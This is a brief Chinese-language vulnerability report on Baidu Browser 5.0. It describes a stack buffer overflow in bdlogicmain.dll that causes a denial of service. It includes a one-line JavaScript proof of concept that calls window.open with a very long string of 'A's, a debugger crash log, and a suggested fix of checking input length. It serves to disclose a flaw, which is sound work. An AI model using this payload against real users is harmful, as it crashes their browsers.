百度浏览器5.0正式版(2.200.0.41563)拒绝服务及修复

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:23:50

来源：

bdlogicmain.dll缓冲区溢出导致拒绝服务我猜是strncpy那儿没弄好？STATUS_STACK_BUFFER_OVERRUN encountered

(272c.2070): WOW64 breakpoint - code 4000001f (first chance)

<script>var s="A";var i=1;for(i=1;i<599559;i++)s+="A";window.open(s);</script>

我猜是实际缓存1024字节，但是strncpy复制的URL太长了然后就Unhandled Exception了？

0:063> gModLoad: 00000000`705f0000 00000000`705f8000 C:/Windows/SysWOW64/credssp.dllModLoad: 00000000`5ea70000 00000000`5eaa1000 EhStorAPI.DLLModLoad: 00000000`5ea70000 00000000`5eaa1000 C:/Windows/SysWOW64/EhStorShell.dllModLoad: 00000000`04080000 00000000`04094000 C:/Program Files (x86)/Common Files/ScmClient/ScmClient_Shell.DLLModLoad: 00000000`712c0000 00000000`7131f000 C:/Windows/SysWOW64/SXS.DLLModLoad: 00000000`704b0000 00000000`704ef000 C:/Windows/SysWOW64/schannel.dllModLoad: 00000000`726a0000 00000000`726d8000 C:/Windows/SysWOW64/ncrypt.dllModLoad: 00000000`72680000 00000000`72697000 C:/Windows/SysWOW64/bcrypt.dllModLoad: 00000000`72640000 00000000`7267d000 C:/Windows/SysWOW64/bcryptprimitives.dllSTATUS_STACK_BUFFER_OVERRUN encountered(272c.2070): WOW64 breakpoint - code 4000001f (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.*** ERROR: Symbol file could not be found. Defaulted to export symbols for KERNEL32.dll - KERNEL32!GetProfileStringW+0x129fd:757cff99 cc int 3

修复方案：

检查输入长度

>更多相关文章